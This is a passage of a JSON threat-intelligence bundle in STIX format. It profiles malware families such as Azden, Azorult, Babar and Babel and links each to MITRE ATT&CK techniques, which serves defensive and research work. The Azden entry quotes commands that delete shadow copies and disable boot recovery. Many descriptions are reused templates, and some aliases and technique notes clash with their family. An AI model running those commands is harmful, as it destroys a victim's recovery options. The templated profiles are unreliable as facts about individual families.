tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Axbn",
        "Ransom.Win32.Axbn",
        "Win32/Axbn"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Axbn",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/axbn"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--af8d1abc-5aed-56f5-81d8-30a15e0e2847",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9fc76589-e656-5b6d-91c0-4c8df6b0ad47",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Axbn exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eca4db61-5fd7-5fb5-bdc8-10b8baa29eb6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9fc76589-e656-5b6d-91c0-4c8df6b0ad47",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Axbn exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4d0d2923-3ff9-529c-9880-0e0d45c56294",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9fc76589-e656-5b6d-91c0-4c8df6b0ad47",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Axbn exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--837adf4c-626f-53b1-b6c4-13b7a386ae03",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9fc76589-e656-5b6d-91c0-4c8df6b0ad47",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Axbn exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c6b42dc0-8c40-5196-9a37-90aa66fc22b2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9fc76589-e656-5b6d-91c0-4c8df6b0ad47",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Axbn exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0ecdc219-a96f-51a8-a2d3-122df66a4d68",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Axespec",
      "description": "Axespec (classified in antivirus detection telemetry under designations including Trojan:Win32/Axespec, Trojan.Win32.Axespec, and Win32/Axespec) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Axespec executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Axespec",
        "Trojan.Win32.Axespec",
        "Win32/Axespec"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Axespec",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/axespec"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--768c0a37-ceeb-5a8e-89fb-3b09d187b57d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ecdc219-a96f-51a8-a2d3-122df66a4d68",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Axespec exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd855e99-b86b-5ea3-bfd9-5a360b53ad6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ecdc219-a96f-51a8-a2d3-122df66a4d68",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Axespec exhibits technique T1176 (Browser Extensions (BHO installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc0ff832-9366-531b-a65d-ea6102406009",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ecdc219-a96f-51a8-a2d3-122df66a4d68",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Axespec exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cfd75ea9-6487-5ae9-b3f0-00cbd05d3308",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ecdc219-a96f-51a8-a2d3-122df66a4d68",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Axespec exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6e6a0983-f118-5d8c-911a-68ea6e3f6415",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ayolog",
      "description": "Ayolog (classified in antivirus detection telemetry under designations including Trojan:Win32/Ayolog, Trojan.Win32.Ayolog, and Win32/Ayolog) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Ayolog executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Keylogger.Ayolog",
        "Spyware.Ayolog",
        "Win32/Ayolog",
        "Trojan:Win32/Ayolog",
        "Trojan.Win32.Ayolog"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ayolog",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ayolog"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--69450c86-7b2f-5d97-a573-bb141c5b1385",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e6a0983-f118-5d8c-911a-68ea6e3f6415",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ayolog exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--98e185c4-a84d-5a1b-a879-c69780574fe0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1114: Email Collection (Harvesting addresses for spamming)",
      "description": "MITRE ATT&CK Technique T1114 (Email Collection (Harvesting addresses for spamming)) under tactic Collection.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1114",
          "url": "https://attack.mitre.org/techniques/T1114/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7358921-afec-597d-8890-86419936de14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e6a0983-f118-5d8c-911a-68ea6e3f6415",
      "target_ref": "attack-pattern--98e185c4-a84d-5a1b-a879-c69780574fe0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ayolog exhibits technique T1114 (Email Collection (Harvesting addresses for spamming))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4969e8f5-a1d2-5202-a47e-36be96938a82",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e6a0983-f118-5d8c-911a-68ea6e3f6415",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ayolog exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3c2d1672-5e41-5989-9e46-ddffaf665f74",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Azden",
      "description": "Azden (classified across security vendors as Ransom:Win32/Azden, Trojan-Ransom.Win32.Azden, and Win32/Azden) is a targeted Windows crypto-ransomware family designed for corporate network extortion. Propagated through brute-forced Remote Desktop Protocol (RDP) sessions, compromised enterprise VPN credentials, and malicious email droppers, Azden executes high-speed file encryption across local drives and accessible network shares. Prior to encrypting files, Azden terminates database and hypervisor services (such as MSSQL, MySQL, Oracle, and Veeam services) to release file locks on critical business databases. It deletes volume shadow copies using 'vssadmin delete shadows /all /quiet' and disables Windows boot recovery prompts via bcdedit ('bcdedit /set {default} bootstatuspolicy ignoreallfailures'). Azden encrypts user documents, financial databases, virtual machine disks, and system archives using AES-256 in CBC mode, appending the '.azden' extension to encrypted files. It encrypts the AES session key using an embedded 2048-bit RSA master public key and creates ransom notes ('HOW_TO_RESTORE_AZDEN.txt') in all processed directories. (Observed samples in benchmark: 17)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Azden",
        "Trojan-Ransom.Win32.Azden",
        "Win32/Azden",
        "Ransom.Azden",
        "Azden Ransomware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Azden",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/azden"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--da12ad85-153a-58d0-8720-8d31e699540b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Azero",
      "description": "Azero (classified in antivirus detection telemetry under designations including Ransom:Win32/Azero, Ransom.Win32.Azero, and Win32/Azero) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Azero executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Azero",
        "Ransom.Win32.Azero",
        "Win32/Azero"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Azero",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/azero"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17a58d95-4a61-53c8-be51-42f28a54cb34",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--da12ad85-153a-58d0-8720-8d31e699540b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Azero exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--63f4d58c-2ecc-5e20-8def-8f6ef8689246",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--da12ad85-153a-58d0-8720-8d31e699540b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Azero exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8637be85-0bda-51c6-be76-16ea316f60a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--da12ad85-153a-58d0-8720-8d31e699540b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Azero exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40f367f5-7841-5a6e-a611-cf4063d63432",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--da12ad85-153a-58d0-8720-8d31e699540b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Azero exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ae87d8a-816d-55a4-a940-467908b95c4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--da12ad85-153a-58d0-8720-8d31e699540b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Azero exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--929e4113-a07e-562c-a6b2-22a6b26218f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Azorult",
      "description": "AZORult is an infamous, highly efficient commodity information stealer and malware downloader first commercialized in 2016 by Russian underground developer 'Pavka'. Engineered to run as a compact, self-contained executable, AZORult specialized in aggressively sweeping victim endpoints to extract stored passwords, browser cookies, browsing history, credit card data, and desktop cryptocurrency wallets.\n\nAZORult targets credentials from dozens of applications including Google Chrome, Mozilla Firefox, Microsoft Edge, Opera, Outlook, Thunderbird, WinSCP, and FileZilla, alongside extensive wallet extraction targeting Bitcoin-Core, Ethereum, Monero, and Electrum. In addition to data exfiltration, AZORult was widely used by cybercrime operators as a primary initial access loader to drop secondary payloads\u2014most notably Hermes and GandCrab ransomware. In late 2018, the original author announced retirement after releasing version 3.3, which led to the proliferation of modified and cracked community variants (e.g. AZORult v3.4 and v3.7) that continue to circulate across cybercrime ecosystems. (Observed samples in benchmark: 1,513)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "AZORult",
        "Azorult",
        "InfoStealer.Azorult",
        "Trojan.Azorult",
        "Win32/Azorult"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Azorult",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/azorult"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ee702664-94fc-5434-9cc1-659fcf2388f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--929e4113-a07e-562c-a6b2-22a6b26218f8",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Azorult exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd8b38af-b379-5b9d-a540-7689d4dc77b2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--929e4113-a07e-562c-a6b2-22a6b26218f8",
      "target_ref": "attack-pattern--93d05424-5b4c-5400-a22c-cc8acb493a1e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Azorult exhibits technique T1539 (Steal Web Session Cookie (Abusing active authenticated sessions to perform social media fraud))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--67f73ec3-9efc-5781-8809-6ff845aa457b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--929e4113-a07e-562c-a6b2-22a6b26218f8",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Azorult exhibits technique T1005 (Data from Local System (Scraping RAM for Track 1/Track 2 data))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a59684f-d8cd-513f-8570-af96ba60059a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--929e4113-a07e-562c-a6b2-22a6b26218f8",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Azorult exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a60381c8-c558-5de3-b20f-9321564a264e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--929e4113-a07e-562c-a6b2-22a6b26218f8",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Azorult exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f176f1d3-feec-5774-93bc-7e2293c44348",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--929e4113-a07e-562c-a6b2-22a6b26218f8",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Azorult exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d7159d93-5972-5f1e-a43a-d797c8c4b972",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Babar",
      "description": "Trojan:Win32/Babar is a highly sophisticated, nation-state cyber-espionage implant attributed by international intelligence agencies and cybersecurity researchers to the 'Animal Farm' Advanced Persistent Threat (APT) group (extensively linked in Canadian Communications Security Establishment / CSEC classified slides published by Edward Snowden and Le Monde to the French Directorate-General for External Security / DGSE). First publicly analyzed in February 2015 by Citizen Lab and Cyphort, Babar was named after the beloved French cartoon elephant character, mirroring other malware in the campaign named after cartoon animals (such as Casper, Dino, and Bunny). Babar is an advanced surveillance weapon engineered for precise corporate and geopolitical intelligence collection. It features real-time audio interception capabilities targeting voice-over-IP (VoIP) conversations (specifically Skype, MSN, and Yahoo Messenger), persistent keystroke logging, desktop screen grabbing, clipboard harvesting, and targeted document exfiltration. Babar executes via sophisticated process injection into internet-facing applications (such as browsers and communication software), communicating with C2 servers using custom HTTP encryption to evade perimeter DPI inspection. (Observed samples in benchmark: 14)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Babar",
        "Trojan.Babar",
        "Win32/Babar",
        "Animal Farm Babar"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Babar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/babar"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--ed2a807b-3451-5ba6-bc92-f7395d0d7084",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1123: Audio Capture",
      "description": "MITRE ATT&CK Technique T1123 (Audio Capture) under tactic collection.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1123",
          "url": "https://attack.mitre.org/techniques/T1123/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95f05d71-d698-5e23-ac40-fa1987bcb547",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d7159d93-5972-5f1e-a43a-d797c8c4b972",
      "target_ref": "attack-pattern--ed2a807b-3451-5ba6-bc92-f7395d0d7084",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Babar exhibits technique T1123 (Audio Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a874a8f-4e61-53b0-b045-9aa175614b96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d7159d93-5972-5f1e-a43a-d797c8c4b972",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Babar exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8373e1c5-a2fd-5fb2-80bf-6206da8b2549",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d7159d93-5972-5f1e-a43a-d797c8c4b972",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Babar exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dd5f0292-bb81-5ebb-9bca-9a6143b378f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d7159d93-5972-5f1e-a43a-d797c8c4b972",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Babar exhibits technique T1055.001 (Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--38c1c3d9-11d4-5739-847d-288f777a1e62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d7159d93-5972-5f1e-a43a-d797c8c4b972",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Babar exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--32061dda-0cca-5f00-bb34-9d03c90821c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d7159d93-5972-5f1e-a43a-d797c8c4b972",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Babar exhibits technique T1005 (Data from Local System)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1d1b7f92-7ae5-5d87-93ff-cc2fd6ca6d16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Babel",
      "description": "Babel (classified in antivirus detection telemetry under designations including Ransom:Win32/Babel, Ransom.Win32.Babel, and Win32/Babel) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Babel executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Babel",
        "Backdoor.BabelRAT",
        "Win32/Babel",
        "Ransom:Win32/Babel",
        "Ransom.Win32.Babel"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Babel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/babel"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
